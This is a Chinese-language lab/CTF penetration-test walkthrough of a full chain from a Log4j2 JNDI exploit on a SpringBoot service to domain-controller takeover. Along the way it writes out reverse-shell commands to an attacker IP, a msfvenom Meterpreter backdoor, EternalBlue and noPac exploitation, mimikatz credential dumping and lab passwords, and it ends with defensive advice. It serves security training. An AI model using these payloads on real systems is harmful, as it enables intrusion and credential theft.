记一次靶场渗透
字数 1598 2025-08-24 20:49:22

SpringBoot靶场渗透实战:从外网打点到域控提权

1. 信息收集与漏洞发现

1.1 端口扫描

  • 初始扫描发现开放端口:38080(web服务)和22(SSH)
  • 使用工具:常规端口扫描工具(nmap等)

1.2 Web应用识别

  • 访问38080端口显示error page
  • 使用Wappalyzer尝试识别架构未果
  • 通过报错信息百度确认是SpringBoot应用
  • 使用Goby扫描确认Spring框架

1.3 Log4j2漏洞验证

  • 发现应用可能使用Log4j2日志组件
  • 使用DNSLog验证漏洞:
    ${jndi:ldap://p9j8l8.dnslog.cn}
    
  • 观察到DNSLog回显,确认漏洞存在

2. 漏洞利用与初始访问

2.1 搭建LDAP服务

  • 使用JNDIExploit工具搭建LDAP服务:
    java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.1.105
    

2.2 构造恶意请求

  1. 抓包修改Content-Type:
    Content-Type: appllication/x-www-form-urlencoded
    
  2. 执行测试payload:
    ${jndi:ldap://192.168.1.105:1389/TomcatBypass/TomcatEcho}
    
  3. 验证命令执行:
    ls -al /
    

2.3 反弹Shell获取

  1. 准备反弹Shell命令:
    bash -i >& /dev/tcp/192.168.1.105/9999 0>&1
    
  2. 对命令进行Base64编码
  3. 对Base64结果进行两层URL编码
  4. 构造最终payload:
    ${jndi:ldap://192.168.1.105:1389/TomcatBypass/Command/Base64/双层转码后的字符}
    
  5. 使用nc监听9999端口获取Shell

3. 权限提升与横向移动

3.1 信息收集

  • 发现处于Docker环境
  • 尝试Docker逃逸未成功
  • 在根目录发现第一个flag
  • 发现开放22端口,尝试SSH连接成功

3.2 内网探测

  • ifconfig发现内网网段10.0.1.0/24
  • 使用ping扫描存活主机:
    for i in 10.0.1.{1..254}; do 
      if ping -c 3 -w 3 $i &>/dev/null; then 
        echo $i Find the target; 
      fi; 
    done
    

3.3 内网代理建立

  1. 使用毒液(Venom)建立代理:

    • 监听端执行:
      admin.exe -lport 7777
      
    • 靶机端执行:
      chmod 777 agent_linux_x86
      ./agent_linux_x86 -rhost 192.168.1.105 -rport 7777
      
  2. 使用MSF生成Linux后门:

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf
    
    • 靶机执行:
      chmod 777 shell.elf
      ./shell.elf
      
    • MSF监听:
      use exploit/multi/handler
      set payload linux/x86/meterpreter/reverse_tcp
      set LHOST 192.168.1.2
      set LPORT 4444
      run
      

3.4 内网路由配置

  • 添加内网路由:
    route add 10.0.1.0 255.255.255.0 1
    route print
    
  • 配置proxychain:
    vim /etc/proxychain4.conf
    
  • 启动socks代理:
    use auxiliary/server/socks_proxy
    run
    

4. 内网横向移动

4.1 内网主机扫描

  • 使用proxychain配合nmap扫描:
    proxychains4 nmap -sT -Pn 10.0.1.7
    
  • 发现445端口开放

4.2 SMB服务利用

  1. 确认系统版本:

    use auxiliary/scanner/smb/smb_version
    

    发现是Win7 SP1系统

  2. 检测永恒之蓝漏洞:

    use auxiliary/scanner/smb/smb_ms17_010
    

    确认存在漏洞

  3. 利用永恒之蓝:

    use exploit/windows/smb/ms17_010_eternalblue
    set payload windows/x64/meterpreter/bind_tcp
    set RHOST 10.0.1.7
    run
    
    • 获取system权限meterpreter
    • C:\Users\root\Desktop找到第二个flag

5. 域渗透与域控提权

5.1 域环境发现

  • ipconfig /all发现DNS服务器为redteam.lab
  • 确认域控IP:
    ping redteam.lab
    
    得到域控IP为10.0.0.12

5.2 凭证获取

  • 上传mimikatz抓取密码:
    privilege::debug
    sekurlsa::logonpasswords
    
    获取到域管凭证:Administrator/Admin12345

5.3 noPac漏洞利用(CVE-2021-42287/42278)

  1. 尝试使用noPac.exe利用失败(缺少.NET 4.0环境)

  2. 手动利用步骤:

    • 创建机器账户(使用impacket或powermad)
    • 清除机器账户的servicePrincipalName属性
    • 修改sAMAccountName为DC机器账户名(不带$)
    • 请求TGT
    • 修改sAMAccountName为其他名称
    • 通过S4U2self协议请求ST
    • 执行DCsync攻击
  3. 使用sam_the_admin.py直接攻击:

    proxychains python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell
    
    • 获取DC的shell
    • C:\Users\Administrator\Desktop找到最终flag

6. 工具与资源

  1. 关键工具:

    • JNDIExploit:用于搭建LDAP服务
    • 毒液(Venom):内网代理工具
    • Mimikatz:凭证获取工具
    • noPac:域漏洞利用工具
    • impacket工具包:包含多种内网渗透工具
  2. noPac下载地址:

    https://github.com/cube0x0/noPac
    

7. 防御建议

  1. 针对Log4j2漏洞:

    • 升级Log4j2到最新安全版本
    • 设置JVM参数限制JNDI访问
  2. 针对内网渗透:

    • 实施网络分段,限制横向移动
    • 监控异常网络连接和代理行为
  3. 针对域安全:

    • 定期更新域控补丁
    • 监控异常域账户行为
    • 实施强密码策略和双因素认证
  4. 针对永恒之蓝:

    • 及时安装MS17-010补丁
    • 禁用SMBv1协议
SpringBoot靶场渗透实战:从外网打点到域控提权 1. 信息收集与漏洞发现 1.1 端口扫描 初始扫描发现开放端口:38080(web服务)和22(SSH) 使用工具:常规端口扫描工具(nmap等) 1.2 Web应用识别 访问38080端口显示error page 使用Wappalyzer尝试识别架构未果 通过报错信息百度确认是SpringBoot应用 使用Goby扫描确认Spring框架 1.3 Log4j2漏洞验证 发现应用可能使用Log4j2日志组件 使用DNSLog验证漏洞: 观察到DNSLog回显,确认漏洞存在 2. 漏洞利用与初始访问 2.1 搭建LDAP服务 使用JNDIExploit工具搭建LDAP服务: 2.2 构造恶意请求 抓包修改Content-Type: 执行测试payload: 验证命令执行: 2.3 反弹Shell获取 准备反弹Shell命令: 对命令进行Base64编码 对Base64结果进行两层URL编码 构造最终payload: 使用nc监听9999端口获取Shell 3. 权限提升与横向移动 3.1 信息收集 发现处于Docker环境 尝试Docker逃逸未成功 在根目录发现第一个flag 发现开放22端口,尝试SSH连接成功 3.2 内网探测 ifconfig 发现内网网段10.0.1.0/24 使用ping扫描存活主机: 3.3 内网代理建立 使用毒液(Venom)建立代理: 监听端执行: 靶机端执行: 使用MSF生成Linux后门: 靶机执行: MSF监听: 3.4 内网路由配置 添加内网路由: 配置proxychain: 启动socks代理: 4. 内网横向移动 4.1 内网主机扫描 使用proxychain配合nmap扫描: 发现445端口开放 4.2 SMB服务利用 确认系统版本: 发现是Win7 SP1系统 检测永恒之蓝漏洞: 确认存在漏洞 利用永恒之蓝: 获取system权限meterpreter 在 C:\Users\root\Desktop 找到第二个flag 5. 域渗透与域控提权 5.1 域环境发现 ipconfig /all 发现DNS服务器为 redteam.lab 确认域控IP: 得到域控IP为10.0.0.12 5.2 凭证获取 上传mimikatz抓取密码: 获取到域管凭证: Administrator/Admin12345 5.3 noPac漏洞利用(CVE-2021-42287/42278) 尝试使用noPac.exe利用失败(缺少.NET 4.0环境) 手动利用步骤: 创建机器账户(使用impacket或powermad) 清除机器账户的servicePrincipalName属性 修改sAMAccountName为DC机器账户名(不带$) 请求TGT 修改sAMAccountName为其他名称 通过S4U2self协议请求ST 执行DCsync攻击 使用sam_ the_ admin.py直接攻击: 获取DC的shell 在 C:\Users\Administrator\Desktop 找到最终flag 6. 工具与资源 关键工具: JNDIExploit:用于搭建LDAP服务 毒液(Venom):内网代理工具 Mimikatz:凭证获取工具 noPac:域漏洞利用工具 impacket工具包:包含多种内网渗透工具 noPac下载地址: 7. 防御建议 针对Log4j2漏洞: 升级Log4j2到最新安全版本 设置JVM参数限制JNDI访问 针对内网渗透: 实施网络分段,限制横向移动 监控异常网络连接和代理行为 针对域安全: 定期更新域控补丁 监控异常域账户行为 实施强密码策略和双因素认证 针对永恒之蓝: 及时安装MS17-010补丁 禁用SMBv1协议